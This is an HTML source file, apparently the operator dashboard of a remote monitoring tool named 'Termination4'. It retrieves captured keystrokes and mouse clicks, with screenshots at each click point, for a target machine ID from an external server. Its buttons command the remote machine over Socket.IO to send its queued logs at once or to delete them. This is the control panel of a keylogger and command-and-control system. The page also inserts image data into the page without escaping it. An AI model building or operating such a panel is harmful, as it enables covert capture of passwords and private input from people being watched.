346 lines
12 KiB
HTML
346 lines
12 KiB
HTML
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<link rel="stylesheet" href="/css/font.css">
|
|
<link rel="stylesheet" href="/css/xadmin.css">
|
|
<link rel="stylesheet" href="/css/win10ui.css">
|
|
<link rel="stylesheet" href="/css/theme.css">
|
|
<link rel="stylesheet" href="/lib/layui/css/layui.css">
|
|
<script type="text/javascript" src="/lib/layui/layui.js" charset="utf-8"></script>
|
|
<script type="text/javascript" src="/js/xadmin.js"></script>
|
|
<script src="/assets/js/socket/Socket.IO.js"></script>
|
|
<script>window.breadcrumbs = [{name: "首页", url: ""},{name: "Termination4", url: ""},{name: "键鼠监听"}];</script>
|
|
<script src="/js/address.bar.js"></script>
|
|
<style>
|
|
body {
|
|
background-color: #f8f9fa;
|
|
font-family: "Segoe UI", "PingFang SC", "Microsoft YaHei", sans-serif;
|
|
}
|
|
.container {
|
|
max-width: 1200px;
|
|
margin: 0 auto;
|
|
}
|
|
.header {
|
|
text-align: center;
|
|
margin-bottom: 30px;
|
|
padding: 20px;
|
|
background: linear-gradient(135deg, #6a11cb 0%, #2575fc 100%);
|
|
color: white;
|
|
border-radius: 8px;
|
|
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
|
}
|
|
.header h1 {
|
|
font-size: 28px;
|
|
margin-bottom: 10px;
|
|
}
|
|
.header p {
|
|
font-size: 16px;
|
|
opacity: 0.9;
|
|
}
|
|
.panel {
|
|
background-color: white;
|
|
border-radius: 8px;
|
|
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.05);
|
|
margin-bottom: 25px;
|
|
overflow: hidden;
|
|
}
|
|
.panel-title {
|
|
font-size: 18px;
|
|
font-weight: 600;
|
|
padding: 15px 20px;
|
|
color: #2c3e50;
|
|
background-color: #f8f9fa;
|
|
border-bottom: 1px solid #eaecef;
|
|
}
|
|
.input-display {
|
|
padding: 20px;
|
|
min-height: 200px;
|
|
font-size: 16px;
|
|
line-height: 1.6;
|
|
background-color: #f8fafc;
|
|
border-radius: 0 0 8px 8px;
|
|
}
|
|
.input-item {
|
|
display: inline-block;
|
|
margin: 5px;
|
|
padding: 8px 12px;
|
|
border-radius: 20px;
|
|
background-color: #e3f2fd;
|
|
color: #1976d2;
|
|
font-size: 14px;
|
|
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
|
|
transition: all 0.2s ease;
|
|
}
|
|
.input-item:hover {
|
|
transform: translateY(-2px);
|
|
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.15);
|
|
}
|
|
.input-item.special {
|
|
background-color: #fff3e0;
|
|
color: #e65100;
|
|
}
|
|
.input-item.mouse-left {
|
|
background-color: #e8f5e9;
|
|
color: #2e7d32;
|
|
}
|
|
.input-item.mouse-right {
|
|
background-color: #f3e5f5;
|
|
color: #7b1fa2;
|
|
}
|
|
.controls {
|
|
display: flex;
|
|
justify-content: space-between;
|
|
margin-bottom: 20px;
|
|
}
|
|
.btn-group {
|
|
display: flex;
|
|
gap: 10px;
|
|
}
|
|
.stats {
|
|
display: flex;
|
|
align-items: center;
|
|
font-size: 14px;
|
|
color: #6c757d;
|
|
}
|
|
.stats i {
|
|
margin-right: 5px;
|
|
}
|
|
.timestamp {
|
|
text-align: right;
|
|
color: #6c757d;
|
|
font-size: 13px;
|
|
margin-top: 10px;
|
|
padding-right: 10px;
|
|
}
|
|
.empty-state {
|
|
text-align: center;
|
|
padding: 40px 0;
|
|
color: #6c757d;
|
|
}
|
|
.empty-state i {
|
|
font-size: 50px;
|
|
color: #dee2e6;
|
|
margin-bottom: 15px;
|
|
}
|
|
.mouse-coords {
|
|
font-weight: bold;
|
|
color: #1e88e5;
|
|
}
|
|
.mouse-event-wrapper {
|
|
display: inline-flex;
|
|
flex-direction: column;
|
|
align-items: flex-start;
|
|
margin: 5px;
|
|
}
|
|
.mouse-image-container {
|
|
margin-top: 5px;
|
|
width: 100%;
|
|
}
|
|
.mouse-image {
|
|
max-width: 150px;
|
|
max-height: 100px;
|
|
border: 1px solid #ddd;
|
|
border-radius: 4px;
|
|
box-shadow: 0 1px 3px rgba(0,0,0,0.1);
|
|
}
|
|
</style>
|
|
</head>
|
|
<body>
|
|
<div class="container">
|
|
<div class="header">
|
|
<h1>计算机输入活动监控</h1>
|
|
<p>实时记录和显示所有输入活动</p>
|
|
</div>
|
|
|
|
<div class="controls">
|
|
<div class="stats">
|
|
<i class="layui-icon"></i>
|
|
<span id="activityCount">0</span> 条活动记录
|
|
</div>
|
|
<div class="btn-group">
|
|
<button class="layui-btn layui-btn-normal" id="refreshBtn">
|
|
<i class="layui-icon"></i> 刷新数据
|
|
</button>
|
|
<button class="layui-btn layui-btn-normal" id="sendnow">
|
|
<i class="layui-icon"></i> 立即传输队列数据
|
|
</button>
|
|
<button class="layui-btn layui-btn-danger" id="clearBtn">
|
|
<i class="layui-icon"></i> 清空记录
|
|
</button>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="panel">
|
|
<div class="panel-title">
|
|
<i class="layui-icon"></i> 输入活动记录
|
|
</div>
|
|
<div class="input-display" id="inputDisplay">
|
|
<div class="empty-state">
|
|
<i class="layui-icon"></i>
|
|
<p>暂无输入活动记录</p>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
|
|
<div class="timestamp" id="lastUpdateTime">
|
|
最后更新时间: 尚未获取数据
|
|
</div>
|
|
</div>
|
|
|
|
<script>
|
|
socket = io("/Termination4SocketIOSpace");
|
|
layui.use(['jquery', 'layer'], function(){
|
|
var $ = layui.jquery;
|
|
var layer = layui.layer;
|
|
|
|
// 加载数据
|
|
function loadData() {
|
|
var loading = layer.load(1, {shade: [0.3, '#000']});
|
|
|
|
$.get('https://www.gvsds.com/T4/ShowKM.api?PCMachineGUID='+PCMachineGUID, function(data){
|
|
layer.close(loading);
|
|
|
|
if (data == "Bad PCMachineGUID") {
|
|
Toast.info("提示", "无数据可供加载");
|
|
return false;
|
|
}
|
|
|
|
if (!data || !Array.isArray(data)) {
|
|
layer.msg('数据格式错误', {icon: 2});
|
|
return;
|
|
}
|
|
|
|
// 处理所有输入数据
|
|
var allInputs = [];
|
|
|
|
data.forEach(function(item){
|
|
if (Array.isArray(item)) {
|
|
item.forEach(function(subItem){
|
|
allInputs.push(subItem);
|
|
});
|
|
}
|
|
});
|
|
|
|
// 显示输入数据
|
|
displayInputData(allInputs);
|
|
|
|
// 更新最后更新时间
|
|
$('#lastUpdateTime').text('最后更新时间: ' + new Date().toLocaleString());
|
|
|
|
}).fail(function(){
|
|
layer.close(loading);
|
|
layer.msg('请求数据失败', {icon: 2});
|
|
});
|
|
}
|
|
|
|
// 显示输入数据
|
|
function displayInputData(data) {
|
|
var $inputDisplay = $('#inputDisplay');
|
|
var $activityCount = $('#activityCount');
|
|
|
|
if (data.length === 0) {
|
|
$inputDisplay.html('<div class="empty-state"><i class="layui-icon"></i><p>暂无输入活动记录</p></div>');
|
|
$activityCount.text('0');
|
|
return;
|
|
}
|
|
|
|
// ASCII控制字符中文对照表 (0-31和127)
|
|
var controlCharMap = {
|
|
'\u0000': '[空字符]', '\u0001': '[标题开始]', '\u0002': '[正文开始]',
|
|
'\u0003': '[正文结束]', '\u0004': '[传输结束]', '\u0005': '[请求]',
|
|
'\u0006': '[确认]', '\u0007': '[响铃]', '\u0008': '[退格]',
|
|
'\u0009': '[水平制表]', '\u000A': '[换行]', '\u000B': '[垂直制表]',
|
|
'\u000C': '[换页]', '\u000D': '[回车]', '\u000E': '[移出]',
|
|
'\u000F': '[移入]', '\u0010': '[数据链路转义]', '\u0011': '[设备控制1]',
|
|
'\u0012': '[设备控制2]', '\u0013': '[设备控制3]', '\u0014': '[设备控制4]',
|
|
'\u0015': '[拒绝接收]', '\u0016': '[同步空闲]', '\u0017': '[传输块结束]',
|
|
'\u0018': '[取消]', '\u0019': '[介质结束]', '\u001A': '[替换]',
|
|
'\u001B': '[换码]', '\u001C': '[文件分隔]', '\u001D': '[组分隔]',
|
|
'\u001E': '[记录分隔]', '\u001F': '[单元分隔]', '\u007F': '[删除]'
|
|
};
|
|
|
|
var html = '';
|
|
data.forEach(function(input){
|
|
if (typeof input === 'string') {
|
|
var displayText = input;
|
|
var isSpecial = false;
|
|
|
|
// 检查是否是ASCII控制字符 (0-31和127)
|
|
if (controlCharMap.hasOwnProperty(input)) {
|
|
displayText = controlCharMap[input];
|
|
isSpecial = true;
|
|
}
|
|
// 处理特殊键
|
|
else if (input.startsWith('Key.')) {
|
|
displayText = '[' + input.substring(4) + ']';
|
|
isSpecial = true;
|
|
} else if (input === ' ' || input === 'Space') {
|
|
displayText = '␣';
|
|
isSpecial = true;
|
|
} else if (input === '\n' || input === 'Enter') {
|
|
displayText = '↵';
|
|
isSpecial = true;
|
|
} else if (input === '\t' || input === 'Tab') {
|
|
displayText = '→|';
|
|
isSpecial = true;
|
|
}
|
|
|
|
html += '<span class="input-item' + (isSpecial ? ' special' : '') + '">' +
|
|
displayText.replace(/</g, '<').replace(/>/g, '>') +
|
|
'</span>';
|
|
} else if (typeof input === 'object' && input !== null) {
|
|
// 鼠标活动
|
|
if (input.I && input.K && input.A) {
|
|
var coordinates = input.I.join(', ');
|
|
var buttonText = input.K === 'L' ? '左键' : '右键';
|
|
var actionText = input.A === 'P' ? '按下' : '松开';
|
|
var mouseClass = input.K === 'L' ? 'mouse-left' : 'mouse-right';
|
|
|
|
var mouseEventHtml = '<div class="mouse-event-wrapper">';
|
|
mouseEventHtml += '<span class="input-item ' + mouseClass + '">' +
|
|
buttonText + ' ' + actionText +
|
|
' <span class="mouse-coords">(' + coordinates + ')</span>';
|
|
|
|
// 如果有图片数据,显示图片
|
|
if (input.M) {
|
|
mouseEventHtml += '<div class="mouse-image-container">' +
|
|
'<img src="' + input.M + '" class="mouse-image" title="鼠标点击位置截图">' +
|
|
'</div>';
|
|
}
|
|
|
|
mouseEventHtml += '</span></div>';
|
|
|
|
html += mouseEventHtml;
|
|
}
|
|
}
|
|
});
|
|
|
|
$inputDisplay.html(html);
|
|
$activityCount.text(data.length);
|
|
}
|
|
|
|
// 清空数据
|
|
$('#clearBtn').on('click', function(){
|
|
socket.emit("T4KMDelete", {"PCMachineGUID": PCMachineGUID});
|
|
$('#inputDisplay').html('<div class="empty-state"><i class="layui-icon"></i><p>暂无输入活动记录</p></div>');
|
|
$('#activityCount').text('0');
|
|
$('#lastUpdateTime').text('最后更新时间: ' + new Date().toLocaleString() + ' (已清空)');
|
|
});
|
|
|
|
// 初始加载数据
|
|
loadData();
|
|
|
|
// 绑定刷新按钮
|
|
$('#refreshBtn').on('click', function(){
|
|
loadData();
|
|
});
|
|
|
|
$('#sendnow').on('click', function(){
|
|
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": "KMSendNow"});
|
|
});
|
|
});
|
|
</script>
|
|
</body>
|
|
</html> |